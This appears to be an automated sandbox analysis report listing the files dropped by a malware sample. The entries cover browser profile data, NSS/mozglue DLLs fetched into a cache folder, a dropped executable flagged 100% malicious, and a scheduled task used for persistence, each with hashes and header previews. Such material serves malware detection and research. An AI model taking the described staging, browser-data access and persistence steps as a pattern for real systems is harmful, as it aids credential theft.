SHA-512:	B6E81362E933C24275122BF608582361C4279CBDC9775DFC437ACE9673502D9C2B673076F1B3F985E57E7FEAC61D38EEC56ABABE8891DBD1E69AB276E9BAC56A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38dd9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089768895221765
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPM7kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSkkzItSmd6qE7lFoC
MD5:	2DAB507A248B9DD7FC3526B7C25FDDF8
SHA1:	AA669FCB1E800763F992E2E32895205D4AC3E1D7
SHA-256:	F1BBD01EC888D74A4ED1C676142AC6F6D91EE8A7FA8761B326F7DB65B5339661
SHA-512:	B6E81362E933C24275122BF608582361C4279CBDC9775DFC437ACE9673502D9C2B673076F1B3F985E57E7FEAC61D38EEC56ABABE8891DBD1E69AB276E9BAC56A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39c22.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089768895221765
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPM7kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSkkzItSmd6qE7lFoC
MD5:	2DAB507A248B9DD7FC3526B7C25FDDF8
SHA1:	AA669FCB1E800763F992E2E32895205D4AC3E1D7
SHA-256:	F1BBD01EC888D74A4ED1C676142AC6F6D91EE8A7FA8761B326F7DB65B5339661
SHA-512:	B6E81362E933C24275122BF608582361C4279CBDC9775DFC437ACE9673502D9C2B673076F1B3F985E57E7FEAC61D38EEC56ABABE8891DBD1E69AB276E9BAC56A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c2bf6a4b-d439-473a-8066-010e66ef3186.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.095219654725421
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYqi1zNtPkNAg3DZEDGDKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynobKtSmd6qE7lFoC
MD5:	9B24B41AAA140A7302C57A058D9FFA08
SHA1:	C47BC7B3A0B4FCC678C277E88284F41A2A5A207B
SHA-256:	488EDF261E4012274B5B982E4AEE15A2906079EC1EEC115D2A448183CDB76BCB
SHA-512:	E46187EE135C433FB403202FB6215952902C5414DAA3E213ACC2E353DFABF5CAB9F5D2721DBBBDF96BD4818C9B082CD6E29B63214F59859F7D259FE04C3B25BD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3234816
Entropy (8bit):	6.66525220631343
Encrypted:	false
SSDEEP:	24576:XuTenIA34uWe2r4P5fEwhsmEkm/j+g9nQTfg+jN3CXWns9G4ZUrkGybZuz5khTaJ:fSe2qfEwhHIxQkz1d+5khTa2aGabik
MD5:	27F6676A8AE816B6C71525FD308839D9
SHA1:	4A0F006BFCE61C3F2CD3E4F3DBC2EB8D412DA98E
SHA-256:	98EA4A9CDBDF2DCC03136492255195AB2D50008EF5F59473E2614EE5731FC35D
SHA-512:	D6E698AF88577DDC27410DCD3A478BFAE90E971208E732CBBAAFC51C7ED949298AC85AACD3ACF2122871F46F4F644608ACF1D32DD80683A38331C181E1C9FAF3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`1...........@...........................1......~1...@.................................W...k............................O1.............................dO1..................................................... . ............................@....rsrc...............................@....idata ............................@...jkwpbhob..........................@...stfuboxc.....P1......61.............@....taggant.0...`1.."...:1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3707496167179825
Encrypted:	false
SSDEEP:	48:SfNaoQ8EvaFvoTEQ8EvcfNaoQDkHQ+fNaoQAs9QAjfNaoQAR0UrU0U8QE7:6NnQvkoTEQvINnQQQmNnQhQgNnQO0UrT
MD5:	8D4327FF7C032D094D8CCD0A568181BD
SHA1:	F82744812C87F567E02E0D6BB9E2CD8F5E408E8F
SHA-256:	8A9A3AC1349F9CBBAA38C2B001FA604CF52448FAA145AB6C19265F8B86A886B2
SHA-512:	921F5D31B41AED18FE2B155E218FEA160DEF4179CC11D2B223159D2B88C1A4C5C23FA2B7832A4D0B30F27AFC70748790BE031312DA1FD934511503A9A660A458
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/396D7BF8E3DCE50AC9C42F80E3C3667F",.. "id": "396D7BF8E3DCE50AC9C42F80E3C3667F",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/396D7BF8E3DCE50AC9C42F80E3C3667F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/880951CB512162BE769B0492502BC7DE",.. "id": "880951CB512162BE769B0492502BC7DE",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/880951CB512162BE769B0492502BC7DE"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\KKFBAAFCGI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3234816
Entropy (8bit):	6.66525220631343
Encrypted:	false
SSDEEP:	24576:XuTenIA34uWe2r4P5fEwhsmEkm/j+g9nQTfg+jN3CXWns9G4ZUrkGybZuz5khTaJ:fSe2qfEwhHIxQkz1d+5khTa2aGabik
MD5:	27F6676A8AE816B6C71525FD308839D9
SHA1:	4A0F006BFCE61C3F2CD3E4F3DBC2EB8D412DA98E
SHA-256:	98EA4A9CDBDF2DCC03136492255195AB2D50008EF5F59473E2614EE5731FC35D
SHA-512:	D6E698AF88577DDC27410DCD3A478BFAE90E971208E732CBBAAFC51C7ED949298AC85AACD3ACF2122871F46F4F644608ACF1D32DD80683A38331C181E1C9FAF3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`1...........@...........................1......~1...@.................................W...k............................O1.............................dO1..................................................... . ............................@....rsrc...............................@....idata ............................@...jkwpbhob..........................@...stfuboxc.....P1......61.............@....taggant.0...`1.."...:1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\KKFBAAFCGI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3234816
Entropy (8bit):	6.66525220631343
Encrypted:	false
SSDEEP:	24576:XuTenIA34uWe2r4P5fEwhsmEkm/j+g9nQTfg+jN3CXWns9G4ZUrkGybZuz5khTaJ:fSe2qfEwhHIxQkz1d+5khTa2aGabik
MD5:	27F6676A8AE816B6C71525FD308839D9
SHA1:	4A0F006BFCE61C3F2CD3E4F3DBC2EB8D412DA98E
SHA-256:	98EA4A9CDBDF2DCC03136492255195AB2D50008EF5F59473E2614EE5731FC35D
SHA-512:	D6E698AF88577DDC27410DCD3A478BFAE90E971208E732CBBAAFC51C7ED949298AC85AACD3ACF2122871F46F4F644608ACF1D32DD80683A38331C181E1C9FAF3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`1...........@...........................1......~1...@.................................W...k............................O1.............................dO1..................................................... . ............................@....rsrc...............................@....idata ............................@...jkwpbhob..........................@...stfuboxc.....P1......61.............@....taggant.0...`1.."...:1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\KKFBAAFCGI.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4227406689811732
Encrypted:	false
SSDEEP:	6:8zqbXUhXUEZ+lX1CGdKUe6tE9+AQy0lztlut0:8zG4Q1CGAFD9+nVzSt0
MD5:	061A3987440534BE7DFB6413B4C42EAE
SHA1:	4E22E8254D1DDC74870F588CB489E67E11891DFC
SHA-256:	81F15D5D8FCC0E69D00F65E6C63172D502B9A0CFE1538C0EA4B8F96064418CD3
SHA-512:	0744AC6D9FC071A66A647AD4269E119BEFE4FD6C0156EDB73C4DE4599D9BFC10349E6DC654BBBE32CC6727B1A49CCE68F58C904D2C4DA0652B85809BE52D67A8
Malicious:	false
Preview:	....^./[.e.K..A)...F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................).@3P.........................

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	179299
Entropy (8bit):	5.547369532089825
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGOa9VMgoeSWInJ+LBIwK555ypuq/dP/JlpNMWzeAx+:eKR1tw+9+i7GFhJcOa/MgoeSWIJ+LBI/
MD5:	E51B78D04BF7FEADF2B7281088079FD5
SHA1:	47E0DCBBC95DA92A2B5E973C33200C3DD82E18A6
SHA-256:	7E8CC44AC8BED91DC83AF132CA1F374227C3A634F9020FFC66720C74A8DBAA53
SHA-512:	5377F671601862CBB506C1B33AA5F5ACAC2C451998C8A1A8E8C6754D2D11C96484483C081FB3A0407BAF1329D70F41ADE5CAB27993B6FA631384243BFC890813
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
